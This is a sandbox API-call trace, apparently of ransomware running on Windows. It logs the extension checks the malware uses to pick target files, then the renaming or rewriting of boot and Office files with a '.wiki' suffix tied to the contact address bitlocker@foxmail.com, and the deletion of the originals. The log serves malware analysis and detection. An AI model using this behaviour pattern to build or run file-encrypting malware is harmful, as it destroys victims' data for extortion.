lstrlenW (lpString=".docx") returned 5 [0182.828] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0182.828] lstrlenW (lpString=".pdf") returned 4 [0182.828] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0182.828] lstrlenW (lpString=".xls") returned 4 [0182.828] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0182.828] lstrlenW (lpString=".xlsx") returned 5 [0182.828] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0182.828] lstrlenW (lpString=".ppt") returned 4 [0182.828] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0182.828] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.828] lstrlenW (lpString=".zip") returned 4 [0182.828] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0182.828] lstrlenW (lpString=".rar") returned 4 [0182.828] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0182.828] lstrlenW (lpString=".bz2") returned 4 [0182.828] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0182.828] lstrlenW (lpString=".7z") returned 3 [0182.828] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0182.828] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.828] lstrlenW (lpString=".dbf") returned 4 [0182.828] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0182.828] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.828] lstrlenW (lpString=".1cd") returned 4 [0182.828] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0182.828] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.828] lstrlenW (lpString=".jpg") returned 4 [0182.828] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0182.829] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0182.829] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0182.829] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0182.829] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=89168) returned 1 [0182.829] CloseHandle (hObject=0x1cc) returned 1 [0182.829] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0182.829] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0182.829] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.829] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.829] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.829] lstrlenW (lpString=".doc") returned 4 [0182.829] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0182.829] lstrlenW (lpString=".docx") returned 5 [0182.829] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0182.829] lstrlenW (lpString=".pdf") returned 4 [0182.829] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0182.830] lstrlenW (lpString=".xls") returned 4 [0182.830] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0182.830] lstrlenW (lpString=".xlsx") returned 5 [0182.830] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0182.830] lstrlenW (lpString=".ppt") returned 4 [0182.830] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0182.830] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.830] lstrlenW (lpString=".zip") returned 4 [0182.830] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0182.830] lstrlenW (lpString=".rar") returned 4 [0182.830] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0182.830] lstrlenW (lpString=".bz2") returned 4 [0182.830] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0182.830] lstrlenW (lpString=".7z") returned 3 [0182.830] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0182.830] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.830] lstrlenW (lpString=".dbf") returned 4 [0182.830] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0182.830] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.830] lstrlenW (lpString=".1cd") returned 4 [0182.830] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0182.830] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.830] lstrlenW (lpString=".jpg") returned 4 [0182.830] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0182.830] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.830] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.830] lstrlenW (lpString=".doc") returned 4 [0182.830] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0182.830] lstrlenW (lpString=".docx") returned 5 [0182.830] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0182.830] lstrlenW (lpString=".pdf") returned 4 [0182.830] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0182.830] lstrlenW (lpString=".xls") returned 4 [0182.830] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0182.831] lstrlenW (lpString=".xlsx") returned 5 [0182.831] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0182.831] lstrlenW (lpString=".ppt") returned 4 [0182.831] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0182.831] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.831] lstrlenW (lpString=".zip") returned 4 [0182.831] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0182.831] lstrlenW (lpString=".rar") returned 4 [0182.831] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0182.831] lstrlenW (lpString=".bz2") returned 4 [0182.831] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0182.831] lstrlenW (lpString=".7z") returned 3 [0182.831] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0182.831] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.831] lstrlenW (lpString=".dbf") returned 4 [0182.831] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0182.831] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.831] lstrlenW (lpString=".1cd") returned 4 [0182.831] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0182.831] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0182.831] lstrlenW (lpString=".jpg") returned 4 [0182.831] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0182.831] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0182.831] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0182.831] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0182.832] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=87616) returned 1 [0182.832] CloseHandle (hObject=0x1cc) returned 1 [0182.832] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0182.832] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0182.832] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.832] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.832] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.832] lstrlenW (lpString=".doc") returned 4 [0182.832] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0182.832] lstrlenW (lpString=".docx") returned 5 [0182.832] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0182.832] lstrlenW (lpString=".pdf") returned 4 [0182.832] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0182.832] lstrlenW (lpString=".xls") returned 4 [0182.832] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0182.832] lstrlenW (lpString=".xlsx") returned 5 [0182.832] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0182.832] lstrlenW (lpString=".ppt") returned 4 [0182.832] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0182.832] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.832] lstrlenW (lpString=".zip") returned 4 [0182.832] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0182.832] lstrlenW (lpString=".rar") returned 4 [0182.832] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0182.832] lstrlenW (lpString=".bz2") returned 4 [0182.832] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0182.832] lstrlenW (lpString=".7z") returned 3 [0182.833] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0182.833] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.833] lstrlenW (lpString=".dbf") returned 4 [0182.833] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0182.833] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.833] lstrlenW (lpString=".1cd") returned 4 [0182.833] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0182.833] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.833] lstrlenW (lpString=".jpg") returned 4 [0182.833] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0182.833] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.833] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.833] lstrlenW (lpString=".doc") returned 4 [0182.833] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0182.833] lstrlenW (lpString=".docx") returned 5 [0182.833] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0182.833] lstrlenW (lpString=".pdf") returned 4 [0182.833] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0182.833] lstrlenW (lpString=".xls") returned 4 [0182.833] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0182.833] lstrlenW (lpString=".xlsx") returned 5 [0182.833] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0182.833] lstrlenW (lpString=".ppt") returned 4 [0182.833] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0182.833] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.833] lstrlenW (lpString=".zip") returned 4 [0182.833] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0182.833] lstrlenW (lpString=".rar") returned 4 [0182.833] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0182.833] lstrlenW (lpString=".bz2") returned 4 [0182.833] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0182.833] lstrlenW (lpString=".7z") returned 3 [0182.833] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0182.833] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.833] lstrlenW (lpString=".dbf") returned 4 [0182.834] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0182.834] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.834] lstrlenW (lpString=".1cd") returned 4 [0182.834] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0182.834] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0182.834] lstrlenW (lpString=".jpg") returned 4 [0182.834] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0182.834] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0182.834] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0182.834] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0182.836] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=91712) returned 1 [0182.836] CloseHandle (hObject=0x1cc) returned 1 [0182.836] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0182.836] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0182.836] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.836] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.836] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.836] lstrlenW (lpString=".doc") returned 4 [0182.836] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0182.836] lstrlenW (lpString=".docx") returned 5 [0182.836] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0182.836] lstrlenW (lpString=".pdf") returned 4 [0182.836] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0182.836] lstrlenW (lpString=".xls") returned 4 [0182.836] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0182.836] lstrlenW (lpString=".xlsx") returned 5 [0182.836] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0182.836] lstrlenW (lpString=".ppt") returned 4 [0182.836] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0182.836] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.836] lstrlenW (lpString=".zip") returned 4 [0182.836] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0182.836] lstrlenW (lpString=".rar") returned 4 [0182.836] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0182.836] lstrlenW (lpString=".bz2") returned 4 [0182.836] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0182.836] lstrlenW (lpString=".7z") returned 3 [0182.836] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0182.837] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.837] lstrlenW (lpString=".dbf") returned 4 [0182.837] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0182.837] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.837] lstrlenW (lpString=".1cd") returned 4 [0182.837] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0182.837] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.837] lstrlenW (lpString=".jpg") returned 4 [0182.837] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0182.837] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.837] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.837] lstrlenW (lpString=".doc") returned 4 [0182.837] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0182.837] lstrlenW (lpString=".docx") returned 5 [0182.837] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0182.837] lstrlenW (lpString=".pdf") returned 4 [0182.837] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0182.837] lstrlenW (lpString=".xls") returned 4 [0182.837] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0182.837] lstrlenW (lpString=".xlsx") returned 5 [0182.837] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0182.837] lstrlenW (lpString=".ppt") returned 4 [0182.837] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0182.837] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.837] lstrlenW (lpString=".zip") returned 4 [0182.837] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0182.837] lstrlenW (lpString=".rar") returned 4 [0182.837] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0182.837] lstrlenW (lpString=".bz2") returned 4 [0182.837] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0182.837] lstrlenW (lpString=".7z") returned 3 [0182.837] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0182.837] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.837] lstrlenW (lpString=".dbf") returned 4 [0182.838] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0182.838] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.838] lstrlenW (lpString=".1cd") returned 4 [0182.838] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0182.838] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0182.838] lstrlenW (lpString=".jpg") returned 4 [0182.838] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0182.838] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0182.838] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0182.838] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0182.838] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=94800) returned 1 [0182.838] CloseHandle (hObject=0x1cc) returned 1 [0182.838] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0182.838] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0182.838] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.838] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0182.838] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0182.839] lstrlenW (lpString=".doc") returned 4 [0182.839] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0182.839] lstrlenW (lpString=".docx") returned 5 [0182.839] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0182.839] lstrlenW (lpString=".pdf") returned 4 [0182.839] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0182.839] lstrlenW (lpString=".xls") returned 4 [0182.839] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0182.839] lstrlenW (lpString=".xlsx") returned 5 [0182.839] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0182.839] lstrlenW (lpString=".ppt") returned 4 [0182.839] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0182.839] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0182.839] lstrlenW (lpString=".zip") returned 4 [0182.839] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0182.839] lstrlenW (lpString=".rar") returned 4 [0182.839] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0182.839] lstrlenW (lpString=".bz2") returned 4 [0182.839] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0182.839] lstrlenW (lpString=".7z") returned 3 [0182.839] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0182.840] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0182.841] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0182.841] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0182.841] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0183.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0183.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0183.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0183.086] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0183.086] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0183.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0183.086] GetLastError () returned 0x0 [0183.086] ReadFile (in: hFile=0x1d4, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x2d88, lpOverlapped=0x0) returned 1 [0183.100] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0183.101] ReadFile (in: hFile=0x1d4, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0183.101] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0183.101] SetEndOfFile (hFile=0x1d8) returned 1 [0183.101] CloseHandle (hObject=0x1d8) returned 1 [0183.101] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0183.101] SetEndOfFile (hFile=0x1d4) returned 1 [0183.102] CloseHandle (hObject=0x1d4) returned 1 [0183.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0183.102] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 1 [0183.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.103] lstrlenW (lpString=".doc") returned 4 [0183.103] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.103] lstrlenW (lpString=".docx") returned 5 [0183.103] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0183.103] lstrlenW (lpString=".pdf") returned 4 [0183.103] 